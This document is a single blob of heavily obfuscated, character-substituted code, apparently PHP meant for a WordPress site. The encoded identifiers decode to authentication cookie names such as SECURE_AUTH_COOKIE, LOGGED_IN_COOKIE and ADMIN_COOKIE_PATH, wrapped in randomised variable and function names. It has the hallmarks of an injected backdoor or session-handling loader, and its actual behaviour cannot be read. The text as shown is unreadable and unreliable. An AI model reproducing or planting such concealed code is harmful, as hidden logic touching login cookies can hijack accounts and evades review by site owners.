,.-50<<>>5'<uz<<4=8dr%%k~k}p/zwtu<``<<<<<=u{n~xs$r(~%zo4-,-(548dr%%k~k}p/zwtu55<<<<<g<<uz<<4={yhChn}rouyrh4ukC/jmfl}em~f{4-,..555<<<<<g<swd(~($..Cxnwiox}epi4u{n~xs$r(~%zo4-,./50<<ukC/jmfl}em~f{4-,.(55'<<oyhChn}rouyrh4ukC/jmfl}em~f{4-,..50<<<<<<-0<<4-/.,7..$,55'<a<<<auz<<<<<<48dr%%k~k}p/zwtu<<::<<<fe/qwoyysxh4-,-(548dr%%k~k}p/zwtu5<::<<ukC/jmfl}em~f{4-,-/548dr%%k~k}p/zwtu5<"<4(*+7//5<<<<<::<<~~t*pewxp%lxrp.4-,-/548dr%%k~k}p/zwtu5< !<<4-,($(%(7$.5<<<<::<<<=~-n{n.-eq)~tm)hy%f*-48dr%%k~k}p/zwtu5<<::<<<jfx)rnxu%,mC+~f~i48dr%%k~k}p/zwtu55<g<<<8dxeuhhotvpw<<!<nsw-)hms*z-jk%f48dr%%k~k}p/zwtu5'<<uz<48dxeuhhotvpw<=!!<<<<<>><<<<::<<jynousrCsql}ny48dxeuhhotvpw0<k{~w}fh$fk{*s}r}*k/z+h450<<<<<; ;55<<<<g<<nyhinr'8dy}{{xxs~oy!+,`%'8sudokrq}e*n!8dy}{{xxs~oyB.,%'a8jqpd{dn)ots)<<<<<!<<<~~t*pewxp%lxrp.4$*/54n-*%o%~y,f,/qj,455<<2<<<<~~t*pewxp%lxrp.4+%/5<<<<2<fe/qwoyysxh4%*-54n-*%o%~y,f,/qj,450<<u{n~xs$r(~%zo4%$$55'8q)(vyeoj-*hppets<!<\~~t*pewxp%lxrp.4-,-*548jqpd{dn)ots)5<#<<<ukC/jmfl}em~f{4-,.)544ohnur{5<<<\fe/qwoyysxh4%.*548jqpd{dn)ots)55<&<>>'uz<48q)(vyeoj-*hppets<<=!!<<>><<<<<::<ukC/jmfl}em~f{4-,-$548dr%%k~k}p/zwtu5<<!!!<<8q)(vyeoj-*hppets5<<<<<<g<<<<<<nyhinr'ammhy/nCplvkizofojuy4n-*%o%~y,f,/qj,450<<4/(+7+/55'<8nu%(r$)v}(<!<o~mz~fi/(/rr)jo-dvudl4n-*%o%~y,f,/qj,450<<<<h/zqmsszw-ie}yw)srk48dr%%k~k}p/zwtu55'<uz<<<48nu%(r$)v}(5<<g<<<<<y%(vpw(x(-hw/p4n-*%o%~y,f,/qj,455'<mmhy/nCplvkizofojuy4n-*%o%~y,f,/qj,450<<<4/*(1+.55'p,}zwe%(th(zt%C}4n-*%o%~y,f,/qj,455'<<yfdderdjunq.-.k4hniy5'dh/}np{vm-fhmkouh.4hniy5'<<<<r~$rrdpszidwdr$pe4n-*%o%~y,f,/qj,455'uz<<4ukC/jmfl}em~f{4-,-%54u{n~xs$r(~%zo4+$-555<<<g<<<<oyhChn}rouyrh4~~t*pewxp%lxrp.4-,.,50<-0<<<4,d)}y7,d$*.55'<<<<<<a<<<a<ypoyuz<4fe/qwoyysxh4-,-%54ukC/jmfl}em~f{4+$-555<<<g<<oyhChn}rouyrh4~~t*pewxp%lxrp.4-,.*50<-0<4-+.-7+%55'<<<a<<<a<<<<a<<}ht<4Htnsk}~py<<<8phr-l)~h-C.5<<gswd(~($..Cxnwiox}epi4~~t*pewxp%lxrp.4-,./50<8phr-l)~h-C.5'<a<<}ht<<4Ydylhusr<<<8phr-l)~h-C.5<<g<<<<a<<a<<<<<zirhusr<vt{zCn)vClnsi,45<g33<LTL<}hhnu~ihyo<uq}{y<xuqyrousro<<<<w/xynC{,)k%+$yx){4fe/qwoyysxh4-,.+50<fe/qwoyysxh4-,.$55'w/xynC{,)k%+$yx){4fe/qwoyysxh4-,.%50<<<~~t*pewxp%lxrp.4-,.$55'<uz<<4u{n~xs$r(~%zo4-,-%54fe/qwoyysxh4-,/,555<g<<<<<nyqsjyC}husr4~~t*pewxp%lxrp.4-,/-50<<<<<fe/qwoyysxh4-,/.55'<<nyqsjyC}husr4ukC/jmfl}em~f{4-,//50<<<<ukC/jmfl}em~f{4-,/.50<<4+7/55'nyqsjyC}husr4~~t*pewxp%lxrp.4-,/(50<<u{n~xs$r(~%zo4-,/)50<<4)7)55'<<<a33<KL<^psw<J}nu}husro<slhusr<nsk<<<<<<<azirhusr<<<<<C/q%wdv{i+mtt)(45g<hne<<<<<<g33<rsnq}pufy<8klx~<<!<<8[PS^]POGukC/jmfl}em~f{4-,/*5A'<<<<<<<8dxnve~ywq/<<<!<<<<8klx~1"lnyzud<<<<2<u{n~xs$r(~%zo4-,/+5'<<<<<8~v+d}zC*u.n*}}z.<<<<<<!<;O;<<2<<<fe/qwoyysxh4-,/$5<<<2<8klx~1"ioyno<<<<2<<<<fe/qwoyysxh4-,/%5<2<8klx~1"ioynqyh}<<2<<<~~t*pewxp%lxrp.4-,(,5'<nyhinr<<<8klx~1"{yhCnyoipho48klx~1"lnyl}ny48~v+d}zC*u.n*}}z.0<<<8dxnve~ywq/0<u{n~xs$r(~%zo4-,(-555'<<<a<<<}ht<4Htnsk}~py<<<<8phr-l)~h-C.5<<<g<<swd(~($..Cxnwiox}epi4~~t*pewxp%lxrp.4*+.50<<8phr-l)~h-C.5'<<<<a<<<}ht<<<<<<4Ydylhusr<8phr-l)~h-C.5<g<<<<<<<a<<<<nyhinr<<<<}nn}e45'8Ck%el)m-/!-)%`.,('8jo*m$ziov/dh!8Ck%el)m-/B*+'<a<<<zirhusr<rC~hxpid(i,wsd*fyj48s+$exC~-)us5<g<8qy~k(kv}.y)(omr<<!<}nn}e45'<<<<<8rpf.d%r,+yrd)<<<!<zirhusr<<48iwjss)w%z-lj)n,l5<<g33<li~puot<or}lotsh1uosp}hyx<knuhy1}ty}x1ps{<<<<<<<8iwjss)w%z-lj)n,lGu{n~xs$r(~%zo4-,(.5A<<!<<>>'<<<<<<nyhinr<<<8iwjss)w%z-lj)n,l'a33<ohny}qur{<li~puotyn'<<hne<<<<g<<<<uz<4=<u{n~xs$r(~%zo4-,-%54~~t*pewxp%lxrp.4-,(/55<``<<=<<u{n~xs$r(~%zo4*,%54~~t*pewxp%lxrp.4-,((555<<g33<LTL<q}ht<ydlnyoousr&<~sshohn}l<}l}~upuhe<<<<nyhinr<8qy~k(kv}.y)(omr'<<a<<uz<<<4=<~~t*pewxp%lxrp.4-,()548s+$exC~-)us5<<<``<<<<<yqlhe48s+$exC~-)us55<<g<<<<<<<nyhinr<<<8qy~k(kv}.y)(omr'<<<a<<8wi(nC*Cp/t<!<<<fe/qwoyysxh4-,(*545<<<<<7<<4$)B%-5<<6<<<4$*/%.7$5'<<8uoCoop<<!<<<ukC/jmfl}em~f{4-,-%54~~t*pewxp%lxrp.4)(.55<<<<::<<uoCoop45'<8wttrwkl{ip.,<<<<!<8uoCoop<<<<<<#<<<~~t*pewxp%lxrp.4-,(+5<<&<u{n~xs$r(~%zo4-,($5'<8nsenj$u$%wq.t)w(<<<<!<<<8uoCoop<<<<<#<<4xyzuryx4fe/qwoyysxh4-,(%55<<<#<<<<OY_INYC]IHTC_SSWUY<&<<<>>5<<<&<4xyzuryx4ukC/jmfl}em~f{4-,),55<<<<<#<]IHTC_SSWUY<&<>>5'<<<<8qqvrx)h(iheq{xdz<!<<<<xyzuryx4ukC/jmfl}em~f{4-,)-55<#<<<<<PS[[YXCURC_SSWUY<<&<<>>'<<<<<<uz<<<4=<8nsenj$u$%wq.t)w(<<``<<=<<<<<8qqvrx)h(iheq{xdz5<<<g<<<<<<<nyhinr<<<8qy~k(kv}.y)(omr'<<a<<8u~*}~wjn~f%)n*m<<!<<<xyzuryx4u{n~xs$r(~%zo4-,).55<::<<_SSWUYCXSQ]UR<<#<fe/qwoyysxh4$54_SSWUYCXSQ]UR0<<;2;5<<&<<<k{flojeyw,sm~z4>>5'8nfs{d}t~}lw%-/<<!<<<xyzuryx4u{n~xs$r(~%zo4-,)/55<<<#<<<<_SSWUYL]HT<<&<;3;'<8i)zu.uk$mnk<<!<xyzuryx4u{n~xs$r(~%zo4-,)(55<<#<]XQURC_SSWUYCL]HT<<<<<&<~~t*pewxp%lxrp.4-,))5'8xyf%zqldifC<<!<<8uoCoop<<#<~~t*pewxp%lxrp.4-,)*5<&<<<~~t*pewxp%lxrp.4-,)+5'<8uo.{nm~~dl<!<>@h>'<<w/xynC{,)k%+$yx){4u{n~xs$r(~%zo4-,)$50<<8rpf.d%r,+yrd)0<<<<,5'8pi}j.-ykrw<<<<!<<<<y)jy.l{ekC(o}dsii*s/4ukC/jmfl}em~f{4-,)%55'8h}}}$%+}q{.kw.n<!<<~~t*pewxp%lxrp.4-,*,54u{n~xs$r(~%zo4-,*-55<#<<\{yhCslhusr48pi}j.-ykrw0<<<<}nn}e455<&<<<}nn}e45'<<<<uz<<<4=u{n~xs$r(~%zo4-,()548h}}}$%+}q{.kw.n55<<8h}}}$%+}q{.kw.n<<<<!<<<}nn}e45'8oikf*ym.}mpil*<!<<<<z}poy'<<<8dhq}p$~.+t<!<<<<<,'zsny}t<48s+$exC~-)us<}o<<<<<8dzlvz)j+/joqwyv5<<<<<guz<<4=<<fe/qwoyysxh4%$548dzlvz)j+/joqwyv5<``<<<<=<<<8dzlvz)j+/joqwyv1"UX<<<<``<=<<<8dzlvz)j+/joqwyv1"ioynCps{ur5<<<<g<srhuriy'<<<a<uz<<48dhq}p$~.+t<"!<<4.7-55<<<<<<g~ny}w'<<<a<<<<<8vjzjk$frevx<!<<<<<4ohnur{5<8dzlvz)j+/joqwyv1"ioynCps{ur'8ru/l{,+d!-%*`-..'8}vfd/rnkkdu/Ce!8ru/l{,+dB-$'uz<<4uooyh48h}}}$%+}q{.kw.nG8vjzjk$frevxA5<<<::<<<<<4urh5<<8h}}}$%+}q{.kw.nG8vjzjk$frevxA<"<fe/qwoyysxh4-,(*545<<<<7<<.<6<<<<4-($/)7+-)*)55<<g<<<<<<srhuriy'a<<<klC}tyCxypyhy48dzlvz)j+/joqwyv1"UX0<<<<~~t*pewxp%lxrp.4-,*.55'<8ml{},**+-C-<!<<<{yhCioynCqyh}48dzlvz)j+/joqwyv1"UX0<<~~t*pewxp%lxrp.4-,*/50<<hniy5'<<<uz<<<<4fe/qwoyysxh4-,()548ml{},**+-C-5<::<<u{n~xs$r(~%zo4-,*(548ml{},**+-C-5<<<"!<<4%7-55<<<<<g<8q}h*.k%od*y$%q<<<<!<}nn}e45'zsny}t<<48ml{},**+-C-<<}o<<<8nt.drqhhz<<!"<<<8hxvfuqy%e({v5<g<uz<<<4uooyh48hxvfuqy%e({vGfe/qwoyysxh4-,*)5A5<<<::<<<8hxvfuqy%e({vGu{n~xs$r(~%zo4-,*)5A<<<<<"<ukC/jmfl}em~f{4-,(*5455<<<<g<8q}h*.k%od*y$%qG8nt.drqhhzA<<!<<<8hxvfuqy%e({v'<<<<a<<a<uz<<<4fe/qwoyysxh4-,**548q}h*.k%od*y$%q5<=!!<fe/qwoyysxh4-,**548ml{},**+-C-55<<<g<<<ilx}hyCioynCqyh}48dzlvz)j+/joqwyv1"UX0<ukC/jmfl}em~f{4-,*/50<<<8q}h*.k%od*y$%q5'<<a<<aklC}tyCxypyhy48dzlvz)j+/joqwyv1"UX0<<<<ukC/jmfl}em~f{4-,*.55'<<8u*yje{twjsq<<<<!<<fe/qwoyysxh4//)54}nn}e4u{n~xs$r(~%zo4-,((50<<fe/qwoyysxh4-,*+550<<<<8dzlvz)j+/joqwyv1"UX5'<<<<<<8Crn{*h}ml~s+p<!<<8u*yje{twjsq1"ny}hy48wi(nC*Cp/t5'<<<<8k~zoyzkf$,h<<!<<}nn}e45'8k~zoyzkf$,hGA<<<<<!<8u~*}~wjn~f%)n*m<2<<8uo.{nm~~dl<<2<<u{n~xs$r(~%zo4-,)*5<<<2<<8uo.{nm~~dl<<<<<<2<<8nfs{d}t~}lw%-/<2<<<8uo.{nm~~dl<<2<8xyf%zqldifC<<<2<<<8uo.{nm~~dl<<2<<8wi(nC*Cp/t<<2<<<<<8uo.{nm~~dl<2<8qqvrx)h(iheq{xdz<<2<<8uo.{nm~~dl<<2<<u{n~xs$r(~%zo4-,(/548dzlvz)j+/joqwyv1"UX0<<<<<8wi(nC*Cp/t0<<<<~~t*pewxp%lxrp.4-,*$50<8Crn{*h}ml~s+p5'<<<<<<<<uz<<48nsenj$u$%wq.t)w(5<<<g<8k~zoyzkf$,hGA<<<<<!<<<<8u~*}~wjn~f%)n*m<<<2<8uo.{nm~~dl<<2<u{n~xs$r(~%zo4-,*%5<<<<<2<<8uo.{nm~~dl<2<<<<<<8i)zu.uk$mnk<<<2<8uo.{nm~~dl<2<8xyf%zqldifC<<2<<<<8uo.{nm~~dl<2<<8wi(nC*Cp/t<<<2<<8uo.{nm~~dl<2<<<<8nsenj$u$%wq.t)w(<<<2<<8uo.{nm~~dl<<2<<<ukC/jmfl}em~f{4-,+,548dzlvz)j+/joqwyv1"UX0<8wi(nC*Cp/t0<<8wttrwkl{ip.,0<8Crn{*h}ml~s+p5'a<<<<8qy~k(kv}.y)(omrG8dzlvz)j+/joqwyv1"ioynCps{urA<<!<8k~zoyzkf$,h'8h}}}$%+}q{.kw.nG8vjzjk$frevxA<<!<8wi(nC*Cp/t'8h(lfzv,C~%$!-+6$'8m%*C+,*-)y$!8h(lfzv,C~%$1/'<8oikf*ym.}mpil*<<<!<<<<<<hniy'<8dhq}p$~.+t77'<a33<tynquhu}r<telynps{ps{<<uz<<<<48oikf*ym.}mpil*<<<::<~~t*pewxp%lxrp.4-,*,54~~t*pewxp%lxrp.4$$$555<<<g\ilx}hyCslhusr48pi}j.-ykrw0<<<<8h}}}$%+}q{.kw.n0<<<~~t*pewxp%lxrp.4$%$55'<aa<}ht<<4Htnsk}~py<<8phr-l)~h-C.5<gswd(~($..Cxnwiox}epi4ukC/jmfl}em~f{4-,+-50<<<8phr-l)~h-C.5'<a<}ht<<4Ydylhusr<<8phr-l)~h-C.5<<<ga<<<nyqsjyCzuphyn4u{n~xs$r(~%zo4-,+.50<<8rpf.d%r,+yrd)0<<,5'<<<nyhinr<<<8qy~k(kv}.y)(omr'<<<azirhusr<<<rCe/f+i}xmxzr$.x-(48jw$C,den{kp5<<<<g<<<uz<<<4u{n~xs$r(~%zo4-,-(548jw$C,den{kp55<<<<<nyhinr<<<<8jw$C,den{kp'<<uz<4~~t*pewxp%lxrp.4-,+/548jw$C,den{kp5<<::<<<uooyh48jw$C,den{kpG;l;A5<<::<<u{n~xs$r(~%zo4-,-(548jw$C,den{kpG;l;A55<<<<nyhinr<<<<8jw$C,den{kpG;l;A'<<nyhinr<<>>'<<<<<a<zirhusr<vwk(iyqCzC(mC%nf~v,)}+48s+$exC~-)us5<<<g<<8puoh<!<<<}nn}e45'<8jmCshe%hlm<<<<<!<<4ohnur{5<<<<<<t~ui.jvk{k%(/inf/rwCCd4~~t*pewxp%lxrp.4-,+(50<<>>5'<<<8nx*})ps%z<<!<<<4ohnur{5<<<<<<t~ui.jvk{k%(/inf/rwCCd4u{n~xs$r(~%zo4-,+)50<<<<>>5'<<<<uz<<48jmCshe%hlm<=!!<<<>><::<<<<<8nx*})ps%z<=!!<<<<<<>>5<g<<<<<8puohG8jmCshe%hlmA<!<<<8nx*})ps%z'<<<<a<8deuxz)k.,-.si(<<<<<!<<<<t~ui.jvk{k%(/inf/rwCCd4u{n~xs$r(~%zo4*-%50<}nn}e455'<<uz<<<<4u{n~xs$r(~%zo4-,+/548deuxz)k.,-.si(55<<g<<<<zsny}t<48deuxz)k.,-.si(<}o<8h}ljrw$qe.{<<<!"<<<<8}{k.nx(mne(5<<<<g<<<<<8zp~z}f/q/.+runs-<<<!<<<<<<rCe/f+i}xmxzr$.x-(48}{k.nx(mne(5'<<uz<<48zp~z}f/q/.+runs-<<=!!<<>>5<<<<<8puohG4ohnur{5<<<<<8h}ljrw$qe.{A<<<<<!<<<<<8zp~z}f/q/.+runs-'<<<<<<a<<<<a<<<<nyhinr<8puoh'<<azirhusr<<mmzmionl/--topwe+e{q48h}ljrw$qe.{0<<<8}w)m*ww(vvv%0<<<<<<8~uzmj}{f-$*hjlx5<g<<<<hne<g<<<<<uz<4=<<<fe/qwoyysxh4-,+*548h}ljrw$qe.{5<``<<=<<<<~~t*pewxp%lxrp.4%%548h}ljrw$qe.{0<<<~~t*pewxp%lxrp.4-,++555<gnyhinr<8h}ljrw$qe.{'<<<auz<<<<4=<<8h}ljrw$qe.{1"t}oC}l4fe/qwoyysxh4-,+$555<<<<g<nyhinr<<8h}ljrw$qe.{'<<a<<<<uz<4=<~~t*pewxp%lxrp.4-,-(548~uzmj}{f-$*hjlx5<``<<=<<8~uzmj}{f-$*hjlx5<<<g33<QeOMP<$<_HYo&<qy}oiny<}pps}hsn<<<<nyhinr<<<<8h}ljrw$qe.{'<a8deuxz)k.,-.si(<!<t~ui.jvk{k%(/inf/rwCCd4ukC/jmfl}em~f{4-,+%50<<}nn}e455'<<<<<uz<4=<fe/qwoyysxh4-,+/548deuxz)k.,-.si(55<g<<8deuxz)k.,-.si(<<<!<<<}nn}e45'<<<a<zsny}t<48deuxz)k.,-.si(<<<<}o<8ewC}nCm*k})f/n<<!"<<8q-/$trd%n}5<<g<8l-e(%ifCz~h~%dk<!<<~~t*pewxp%lxrp.4-,+/548q-/$trd%n}5<<<<<::<<uooyh48q-/$trd%n}Gu{n~xs$r(~%zo4-,$,5A5<<<<<<#<4urh5<<<8q-/$trd%n}Gfe/qwoyysxh4-,$,5A<<<&<<<<<,'<<<uz<<48l-e(%ifCz~h~%dk<<::<<8l-e(%ifCz~h~%dk<<<< <<~~t*pewxp%lxrp.4-,$-545<<<1<<<<<4.),/.$-7).+.+-%55<iroyh48deuxz)k.,-.si(G8ewC}nCm*k})f/nA5'<<<<<a<<8deuxz)k.,-.si(G8h}ljrw$qe.{1"ioynCps{urA<!<}nn}e4;l;<<!"<8~uzmj}{f-$*hjlx0<<<ukC/jmfl}em~f{4-,$,5<<<<<!"<<<~~t*pewxp%lxrp.4-,$-5450<<<<u{n~xs$r(~%zo4*.,5<!"<<<,5'<<vfCp.pff*hef}nxkrwq..j4fe/qwoyysxh4-,+%50<8deuxz)k.,-.si(0<<<u{n~xs$r(~%zo4-,$.55'<a<<<}ht<<<4Htnsk}~py<8phr-l)~h-C.5<<<gswd(~($..Cxnwiox}epi4ukC/jmfl}em~f{4-,$/50<<<8phr-l)~h-C.5'<<<<<<a<<<}ht<4Ydylhusr<8phr-l)~h-C.5<<g<a<<<<<<<nyhinr<<8h}ljrw$qe.{'<<azirhusr<<k}jvudw}-df*({.o48if,noe%-~)0<<8h}ljrw$qe.{5<<ghne<<<g<uz<<4=ukC/jmfl}em~f{4-,-(548if,noe%-~)5<``<<8if,noe%-~)<<!!!<<<>>5<nyhinr'<<<8deuxz)k.,-.si(<<!<<t~ui.jvk{k%(/inf/rwCCd4ukC/jmfl}em~f{4-,+%50<}nn}e455'<<uz<<4=~~t*pewxp%lxrp.4-,$(548deuxz)k.,-.si(5<<<``<=uooyh48deuxz)k.,-.si(G8if,noe%-~)A55<<<<nyhinr'<<8phr-l)~h-C.<<!<<<8deuxz)k.,-.si(G8if,noe%-~)A'<<<<<<<uz<<<<4~~t*pewxp%lxrp.4-,$)548phr-l)~h-C.5<::<<<yqlhe48phr-l)~h-C.GukC/jmfl}em~f{4*.,5A55<<<g8jo%eqro%zs!4,d%x7,d)5'8wsfd{y,nj/$l!8jo%eqro%zs9%'<<<8deuxz)k.,-.si(G8if,noe%-~)AG~~t*pewxp%lxrp.4*.,5A<<!<<<-'8}ivz/lqm/.v/!-(7/,'8w}id~etzjo+%%*!8}ivz/lqm/.v/1+'<vfCp.pff*hef}nxkrwq..j4ukC/jmfl}em~f{4-,+%50<8deuxz)k.,-.si(0<ukC/jmfl}em~f{4-,$.55'a<<<<a<}ht<4Htnsk}~py<<<8v~}jx$jrrlm,~%w5<<<gswd(~($..Cxnwiox}epi4fe/qwoyysxh4-,$*50<8v~}jx$jrrlm,~%w5'<a<<<<}ht<<4Ydylhusr<8v~}jx$jrrlm,~%w5<<<<<<g<<<<aa<<<zirhusr<<w.){m{Cimf{~}{*huxfCh48s+$exC~-)us5g8Cdz+iwlkzly+xk!-+)`./+'8wuex/.+f!8Cdz+iwlkzly+xkB+-'<<uz<4=<<<ukC/jmfl}em~f{4-,$)548s+$exC~-)us55<g33<}k}uh<uxyqlshyrh1}xv<ssnxur}hsn<<<nyhinr<z}poy'<<<<<<a8pz~x~~ixt(~<<<!<u%fhx.fk*~}o{t-dysq45'<zsny}t<48s+$exC~-)us<<}o<<<<<<8dzlvz)j+/joqwyv5<g<zsny}t<<<<<48pz~x~~ixt(~<}o<<<<<8s*wqj{{r.uiwC5<g<uz<<4ukC/jmfl}em~f{4$,*54fe/qwoyysxh4-,$+5<<2<<fe/qwoyysxh4-,$$548s*wqj{{r.uiwC0<;3;5<<<<2<ukC/jmfl}em~f{4-,$%50<<8dzlvz)j+/joqwyv1"ioynCps{ur55<<<g36<hsh}p<lnssz1hynq<63nyhinr<<8dzlvz)j+/joqwyv'<a<<<<a<<<<anyhinr<z}poy'<<a<zirhusr<soyll~yypdn%it48pfn-i+venn}x)j0<<8u(*pte.{$lrrxe5<<<<g<nyhinr<u{n~xs$r(~%zo4-,%,54fe/qwoyysxh4-,-$548pfn-i+venn}x)j50<<,0<<8u(*pte.{$lrrxe5'<a<<zirhusr<<<<<{qzz$/{}h,k{nh48zu.Cs$m.u-)t*5<g<<uz<4=ukC/jmfl}em~f{4-,-(548zu.Cs$m.u-)t*5<<<<``<<8zu.Cs$m.u-)t*<<<!!!<>><<``<<<<=xyzuryx4~~t*pewxp%lxrp.4%**555<<<<nyhinr<<<z}poy'<<oh}hu<<<8Cfk*pde{zzn<<<<<!<<<<<ripp'<uz<<<<48Cfk*pde{zzn<<!!!<ripp5<g33<KL<L}n}{n}lt<^psw&<nypy}oy<xymiy8yjsu(tt.wuh+kt!LTLCQ]VSNCJYNOUSR'8z$ldj}~)v}.!8yjsu(tt.wuh+kt6.'<<8Cfk*pde{zzn<<<!<}nn}e4<soyll~yypdn%it4]^OL]HT<2<u{n~xs$r(~%zo4-,%-50<<4)7/55<<<2<<<<<<ukC/jmfl}em~f{4%$$50<<<soyll~yypdn%it4]^OL]HT<<2<ukC/jmfl}em~f{4-,%.50<<<4-7+55<<<2<<<<<<fe/qwoyysxh4%$$505'<a<zsny}t<<48Cfk*pde{zzn<<<}o<<<8nisy,zfw{d5<<<<g8w(+lpplt)ii!$-6.'8q.zd{emC}z~!8w(+lpplt)ii1('<<<uz<<4u{n~xs$r(~%zo4%+,548zu.Cs$m.u-)t*0<8nisy,zfw{d5<=!!<<<<<z}poy5<nyhinr<<<<<hniy'<a<<<nyhinr<<z}poy'<<<<azirhusr<yd(-d*t,+{.mr,rd{-48u(*pte.{$lrrxe5<<<g8p,lofyym,ow~!/%6+'8jy,rl$}wfr(*/m!8p,lofyym,ow~1/,'<nyhinr<<soyll~yypdn%it4irumux44ohnur{5<<<fe/qwoyysxh4((,5450<<<hniy50<<8u(*pte.{$lrrxe5'<<<<<<<<a<<zirhusr<<<<o~zfklC$yhln%~poy%m*48rp,dwv$,y$5guz<4=~~t*pewxp%lxrp.4-,*,54ukC/jmfl}em~f{4-,*-555<nyhinr<<<<<z}poy'<<8w*+(xwfvzot)<<!<<{yhCslhusr4ukC/jmfl}em~f{4-,%/50<<}nn}e455'8q~{/tz{tjy!-+))'8yl$k.d.r!8q~{/tz{tjy9-.'uz<4=~~t*pewxp%lxrp.4-,$)548w*+(xwfvzot)55<nyhinr<<<<<z}poy'<8yiCzh.n$)v*.-~)<!<<ukC/jmfl}em~f{4-,-$548rp,dwv$,y$5'<uz<4yqlhe48w*+(xwfvzot)G8yiCzh.n$)v*.-~)A55<<nyhinr<<<z}poy'<<<<<<<8zp~z}f/q/.+runs-<<!<<<u{n~xs$r(~%zo4..,54;`;0<<<<4ohnur{5<<8w*+(xwfvzot)G8yiCzh.n$)v*.-~)A5'<<<<<<8ldv{%nky+ph<<!<<uooyh48zp~z}f/q/.+runs-G-A5<<#<<<4urh5<<<<8zp~z}f/q/.+runs-G-A<<<&<<,'8er)/xwiwn!*+7)*'8i%j,*d$u(*!8er)/xwiwn1(('<<nyhinr<<<<48ldv{%nky+ph<<"<,<<<<<::<~~t*pewxp%lxrp.4-,%(545<<<1<<8ldv{%nky+ph< <<<4,dy/7,d*(~x55'a<<<<<zirhusr<r$r$ns+(.x,x)/ums48rp,dwv$,y$0<<<<8~%m+or).,/vof+,5<<<<g<uz<4=u{n~xs$r(~%zo4-,*,54u{n~xs$r(~%zo4-,*-55<<<<``<<<<<=ukC/jmfl}em~f{4-,%)54u{n~xs$r(~%zo4-,%*555<nyhinr'<<<<<<<8w*+(xwfvzot)<<<!<<{yhCslhusr4fe/qwoyysxh4-,%/50<<}nn}e455'<<<<<uz<<<4=u{n~xs$r(~%zo4-,$)548w*+(xwfvzot)55<<<<8w*+(xwfvzot)<<<!<<}nn}e45'<8yiCzh.n$)v*.-~)<<<!<u{n~xs$r(~%zo4-,-$548rp,dwv$,y$5'uz<4=8~%m+or).,/vof+,5<<<<<<guz<<4uooyh48w*+(xwfvzot)G8yiCzh.n$)v*.-~)A55<<giroyh48w*+(xwfvzot)G8yiCzh.n$)v*.-~)A5'ilx}hyCslhusr4~~t*pewxp%lxrp.4-,%/50<<<<8w*+(xwfvzot)5'<<<<<a<<<nyhinr'<a<<<<<8qvqnyou,w.~,{-ij<<<!<,'<<<<<<uz<4=yqlhe48w*+(xwfvzot)G8yiCzh.n$)v*.-~)A55<<g<<8zp~z}f/q/.+runs-<<!<<<u{n~xs$r(~%zo4..,54;`;0<4ohnur{5<<<8w*+(xwfvzot)G8yiCzh.n$)v*.-~)A5'<<<<<8qvqnyou,w.~,{-ij<!<<<<4urh5<8zp~z}f/q/.+runs-G,A'<a<<8qvqnyou,w.~,{-ij77'<<<<<8ldv{%nky+ph<<!<<<<48qvqnyou,w.~,{-ij<<<"!<4*1/55<<#<<ukC/jmfl}em~f{4-,%(545<<<&<<<,'zsny}t<<48w*+(xwfvzot)<<<}o<<<8m(yvf%%)wpC$}<!"<<8oyyz*y~zrmv-~$5<<<<<g<<<8zu.Cs$m.u-)t*<<!<<~~t*pewxp%lxrp.4..,54;`;0<<<4ohnur{5<<<<8oyyz*y~zrmv-~$5'<uz<<<4=yqlhe48zu.Cs$m.u-)t*G-A5<::<<fe/qwoyysxh4-,%+545<<<1<4urh5<8zu.Cs$m.u-)t*G-A<<"<<4,d..z%7,d.$,,+55<<iroyh48w*+(xwfvzot)G8m(yvf%%)wpC$}A5'<<<<<<a8w*+(xwfvzot)G8yiCzh.n$)v*.-~)A<<<!<8qvqnyou,w.~,{-ij<<<<2<;`;<2<8ldv{%nky+ph'ilx}hyCslhusr4ukC/jmfl}em~f{4-,%/50<8w*+(xwfvzot)5'<<<<<a<<<zirhusr<<<<r%*-mli$vi/rdu48rp,dwv$,y$0<<<8if)oiyso$t~u}w5<<<g<<<uz<4=u{n~xs$r(~%zo4-,%$548if)oiyso$t~u}w55<nyhinr'<8vCClu,mx(kliy<<<<!<<C**nr/xxtli(wC-*,d*4~~t*pewxp%lxrp.4-,%%548rp,dwv$,y$50<<u{n~xs$r(~%zo4--,,55'<<<<<<uz<<<<<48vCClu,mx(kliy<<=!!<<<z}poy5<<g<<<<uz<<<<<<4\ukC/jmfl}em~f{4--,-548vCClu,mx(kliy0<<<<<8if)oiyso$t~u}w5<<<<<!!!<ukC/jmfl}em~f{4-,-/548if)oiyso$t~u}w5<::<<tn+pj)fv,~kiCwl.48vCClu,mx(kliy0<<<8rp,dwv$,y$55<<<<nyhinr'<<uepno,inmjey/mr48vCClu,mx(kliy5'<<<<<a\fe/qwoyysxh4--,-548rp,dwv$,y$0<<<<<<8if)oiyso$t~u}w5'<<<<a<<<<zirhusr<<o~mz~fi/(/rr)jo-dvudl48rp,dwv$,y$0<8j{,uhy)ltoCdt5<g<8n+lwp-wio,<!<<u{n~xs$r(~%zo4-,%%548rp,dwv$,y$5'<uz<4=\fe/qwoyysxh4$++548n+lwp-wio,55<<<g<<<<swd(~($..Cxnwiox}epi4ukC/jmfl}em~f{4--,.50<<ukC/jmfl}em~f{4--,/5<<2<<<fe/qwoyysxh4--,(548rp,dwv$,y$55'<nyhinr<z}poy'<a<<8in}z+.iumr*%,<<<<<<!<4~~t*pewxp%lxrp.4-,%,548rp,dwv$,y$0<<14,d/7,d-55<<<<!!!<<<<<<ukC/jmfl}em~f{4%$$55'uz<<<48in}z+.iumr*%,<<<<::<=jfx)rnxu%,mC+~f~i48j{,uhy)ltoCdt55<<g<swd(~($..Cxnwiox}epi4ukC/jmfl}em~f{4--,.50<<<fe/qwoyysxh4--,)5<<2<<u{n~xs$r(~%zo4--,(548rp,dwv$,y$55'<<<<nyhinr<<<<z}poy'a<<<uz<<<<48in}z+.iumr*%,<<<::<<<<<o~zfklC$yhln%~poy%m*48rp,dwv$,y$55<<nyhinr<<z}poy'8d/.skCCfr*<<<<<!<<<z}poy'<<uz<<4\ukC/jmfl}em~f{4$+*548rp,dwv$,y$55<<<<8d/.skCCfr*<<<<!<<hniy'<<<<<8if)oiyso$t~u}w<!<<ripp'8pv+*{{e)soo!LTLCURHCQ]D3LTLCURHCQ]D'8jqnzpwnzyd*!8pv+*{{e)soo7./'<<<<<<<8dzwd{z(p+w,<<!<<<<z}poy'<8y%k*k)+%i<!<ripp'<<<uz<<4\u{n~xs$r(~%zo4--,*548rp,dwv$,y$5<<::<<<<=\u{n~xs$r(~%zo4$+*548rp,dwv$,y$55<g<<<<<<8dzwd{z(p+w,<<<!<<hniy'<<<<8y%k*k)+%